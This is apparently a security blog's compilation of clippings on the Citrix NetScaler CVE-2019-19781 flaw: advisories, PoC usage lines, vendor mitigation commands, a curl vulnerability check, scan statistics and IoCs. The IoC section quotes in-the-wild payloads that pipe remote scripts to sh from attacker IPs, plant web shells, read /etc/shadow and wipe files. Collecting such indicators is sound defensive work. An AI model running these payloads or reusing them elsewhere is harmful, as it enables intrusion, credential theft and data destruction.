CVE-2019-19781: my clippings on the infamous Citrix Netscaler vulnerability
Many Proof-of-concept exploits has been released for the unpatched remote-code-execution vulnerability in the Citrix Application Delivery Controller and Citrix Gateway products.
Below a list of useful links/quotes/posts on this topic.
The vulnerability
The vulnerability (CVE-2019-19781), already packs a double-punch in terms of severity: Researchers say it is extremely easy to exploit, and affects all supported versions of Citrix Gateway products and Citrix ADC, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web.
hich Threatpost reported on in December, “The vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the system,” said Qualys researchers in an analysis last week. “Once exploited, remote attackers could obtain access to private network resources without requiring authentication.”
The vulnerability affects all supported versions of Citrix ADC and Citrix Gateway products:
The exploit attempt would include HTTP requests with ‘/../’ and ‘/vpns/’ in the URL. The responder policy rule checks for string “/vpns/” and if user is connected to the SSLVPN, and sends a 403 response as seen below.
add responder policy ctx267027 “HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\”/vpns/\”) && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\”/../\”))” respondwith403
CISA releases a tool to test the vulnerability:
https://github.com/cisagov/check-cve-2019-19781
The Cybersecurity and Infrastructure Security Agency (CISA) has released a utility that enables users and administrators to test whether their Citrix Application Delivery Controller (ADC) and Citrix Gateway software is susceptible to the CVE-2019-19781 vulnerability. According to Citrix Security Bulletin CTX267027, beginning on January 20, 2020, Citrix will be releasing new versions of Citrix ADC and Citrix Gateway that will patch CVE-2019-19781.
The PoC
A first PoC exploit code "Project Zero India”, which describe themselves as “a group of security researchers from India, inspired by Google’s Project Zero.”
The PoC exploit consists of two curl commands: one to write a template file which would include a user’s shell command, and the second request to download the result of the command execution.
Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway [ CVE-2019-19781 ]
Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE
e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'
Then, another PoC exploit was released by security research group TrustedSec: similar to the first, but written in Python and with a feature that allow to start a reverse shell:
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution.
Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
Note that DNS hostnames and IP addresses are supported in victimaddress and attackerip_listener fields.
Usage:
python citrixmash.py <attackerip_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport
The fixes
A patch will not be available until late January, according with Citrix announce:
https://github.com/trustedsec/cve-2019-19781/Citrix expects to have firmware updates in the form of refresh builds to be available across all supported versions of Citrix ADC and Citrix Gateway before the end of January 2020.
Instead the company has detailed a series of mitigation steps until permanent fixes are made available:
Standalone System
Run the following commands from the command line interface of the appliance to create a responder action and policy:
enable ns feature responder add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\"" add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403 bind responder global ctx267027 1 END -type REQ_OVERRIDE save config
Ensure that the changes apply to the management interfaces as
well. From the command line interface, please run the following
commands.
shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
HA Pair
On primary:
enable ns feature responder add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\"" add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403 bind responder global ctx267027 1 END -type REQ_OVERRIDE save config shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
On secondary after primary comes up:
shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
Cluster
On CLIP:
enable ns feature responder add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\"" add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403 bind responder global ctx267027 1 END -type REQ_OVERRIDE save config shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
Each cluster node:
shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
Admin partition
switch ns partition default enable ns feature responder add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\"" add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403 bind responder global ctx267027 1 END -type REQ_OVERRIDE save config shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0 shell "echo 'nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0' >> /nsconfig/rc.netscaler" reboot
Procedure to revert the changes (Standalone,CLIP, HA Primary)
unbind responder global ctx267027 rm responder policy ctx267027 rm responder action respondwith403 save config
Remove nsapi command from rc.netscaler. (Below command
will search rc.netscaler file for the below pattern and remove the line
that was originally added)
shell nsapimgr_wr.sh -ys skip_systemaccess_policyeval=1 shell "sed -i '' '/skip_systemaccess_policyeval=0/d' /nsconfig/rc.netscaler" reboot
The reboot, in each of the scenarios above, is not necessary to apply the policy but it is a precautionary step to ensure that if there are any open sessions,obtained via the vulnerability prior to policy application, are cleared.
Exploits available in the wild
Troy Mursch from Bad Packets warned that he had detected multiple exploit attempts from a host in Poland:
On Friday, January 10, 2020, our honeypots detected opportunistic mass scanning activity originating from a host in Germany targeting Citrix Application Delivery Controller (ADC) and Citrix Gateway (also known as NetScaler Gateway) servers vulnerable to CVE-2019-19781. This critical vulnerability allows unauthenticated remote attackers to execute commands on the targeted server after chaining an arbitrary file read/write (directory traversal) flaw.
Further, Kevin Beaumont dubbed the vulnerability “Shitrix" and said on Twitter:
Finally, Tripwire researcher Craig Young claimed that 39,378 of the 58,620 IP addresses he detected likely to be NetScaler or ADC VPN portals did not have mitigations enabled:
With several media reports citing possibly 80,000 affected firms, I was curious just how many NetScaler VPN portals are exposed to the Internet and how many of these have yet to enable to mitigation. To do this without revealing details of the vulnerability or potentially effecting affected devices, I came up with the following simple test:
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”
This is a simple direct test to see whether the service responds with an error text from Apache. I then exported data from Shodan using a variety of queries to identify possibly vulnerable VPN gateways. In total, this turned up more than 60,000 IP addresses. I used masscan to identify all IPs from my exports with a currently active service on port 443 and to exclude any IPs where the owner has previously requested exclusion from scanning. At this point, I was left with 58,620 IP addresses of “likely” NetScaler or ADC VPN portals.
The scans, which were conducted 21 days after the advisory was released, showed that less than a third of these very exposed Citrix appliances had the mitigation enabled. (39,378 of the 58,620 scanned IPs were apparently vulnerable.) To put this in perspective, I correlated the IP addresses with their certificate data and found more than 26,000 unique subject common name values. The list contains countless high value targets across a swath of verticals including finance, government, and healthcare. In total, there were 141 distinct domain names ending .gov plus another 351 distinct names containing .gov. in the domain. (These country specific covered 24 different ccTLD but were predominantly from *.gov.uk and *.gov.au)
The IoCs
Didier Stevens, from SANS ISC shared an overview of the payloads delivered by the attackers:
`echo -e \'\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x75\x73\x65\x20\x45\x6e\x63\x6f\x64\x65\x3b\x6d\x79\x20\x24\x63\x67\x69\x3d\x6e\x65\x77\x20\x43\x47\x49\x3b\x6d\x79\x20\x24\x66\x3d\x45\x6e\x63\x6f\x64\x65\x3a\x3a\x64\x65\x63\x6f\x64\x65\x28\x63\x68\x72\x28\x31\x31\x37\x29\x2e\x63\x68\x72\x28\x31\x31\x36\x29\x2e\x63\x68\x72\x28\x31\x30\x32\x29\x2e\x63\x68\x72\x28\x35\x36\x29\x2c\x24\x63\x67\x69\x2d\x3e\x70\x61\x72\x61\x6d\x28\x63\x68\x72\x28\x31\x30\x32\x29\x29\x29\x3b\x69\x66\x28\x24\x66\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x66\x3b\x6d\x79\x20\x40\x63\x3d\x20\x60\x24\x66\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x20\x6d\x79\x20\x24\x6c\x20\x28\x40\x63\x29\x20\x7b\x70\x72\x69\x6e\x74\x20\x24\x6c\x3b\x7d\x65\x78\x69\x74\x3b\x7d\'|tee /netscaler/portal/scripts/rmpm.pl ` exec(\' | tee /netscaler/portal/templates/XXX.xml\'); exec(\'(curl -s http://185.178.45.221/ci2.sh||wget -q -O- http://185.178.45.221/ci2.sh)|sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'(wget -q -O- http://185.178.45.221/ci2.sh||curl -s http://185.178.45.221/ci2.sh)|sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'/usr/bin/curl http://159.69.37.196/sites/default/files/test/cmd.pl -o /netscaler/portal/scripts/AJ3UBK2MP.pl | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /etc/passwd root | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /etc/passwd | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /etc/root | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /etc/security/passwd | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /etc/shadow | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cat /flash/nsconfig/ns.conf | tee /netscaler/portal/templates/XXX.xml\'); exec(\'cd /netscaler/portal; ls exec(\'curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is | tee /netscaler/portal/templates/XXX.xml\'); exec(\'curl 185.178.45.221/ci.sh | sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'curl http://185.178.45.221/ci2.sh|sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'curl http://185.178.45.221/ci3.sh|sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'curl http://stan.sh:1990 | tee /netscaler/portal/templates/XXX.xml\'); exec(\'echo XXXXXX| tee /netscaler/portal/templates/XXX.xml\'); exec(\'id | tee /netscaler/portal/templates/XXX.xml\'); exec(\'ls | tee /netscaler/portal/templates/XXX.xml\'); exec(\'nc -lvp 1234 | tee /netscaler/portal/templates/XXX.xml\'); exec(\'pwd | tee /netscaler/portal/templates/XXX.xml\'); exec(\'python -c 'import urllib;exec(urllib.urlopen("http://185.178.45.221/ci2.sh").read())'|sh | tee /netscaler/portal/templates/XXX.xml\'); exec(\'rm -rf * | tee /netscaler/portal/templates/XXX.xml\'); exec(\'rm -rf ** | tee /netscaler/portal/templates/XXX.xml\'); exec(\'uname -a | tee /netscaler/portal/templates/XXX.xml\'); exec(\'uname | tee /netscaler/portal/templates/XXX.xml\'); exec(\'wget http://www.jdjd.com/sks.rar | tee /netscaler/portal/templates/XXX.xml\'); exec(\'which nc | tee /netscaler/portal/templates/XXX.xml\'); exec(\'whoami | tee /netscaler/portal/templates/XXX.xml\'); print `(curl -s https://pastebin.com/raw/d3SY1erQ||wget -q -O - https://pastebin.com/raw/d3SY1erQ)|bash`'})%] print `cat /etc/passwd` print `cat /flash/nsconfig/ns.conf` print `curl http://61.218.225.74/snspam/lurk/shell/am.txt -o /netscaler/portal/scripts/PersonalBookmak.pl` print `id` print `uname -a` print readpipe(chr(..) ...)
The normalization done on the commands above is for filenames (XXX.xml), echo command (echo XXXXXX) and TrustedSec's PoC (chr(..) ...).
The commands vary from simple reconnaissance and exfiltration to second stage downloads and wiping.
After decoding and normalizing the "print readpipe(chr(..) ...)" commands (used in TrustedSec's PoC), we end up with 14 different payloads
Further, AlienVault has consolidated indicators of compromise from a number of reports of recent exploitation of the flaw:
Now that there are public exploits for Citrix ADC, we are seeing many attacks and are observing various payloads. For the moment, after normalization, we observed 37 different payloads.
Finally, Talos released snort rules against Citrix vulnerability:
Talos has developed and released coverage for this vulnerability in the form of Snort and Firepower signatures. These signatures have been available since Dec. 24, 2019 and can be leveraged by organizations to protect their affected systems from possible exploitation attempts until an official patch is publicly released.
Snort SIDs: 52512, 52513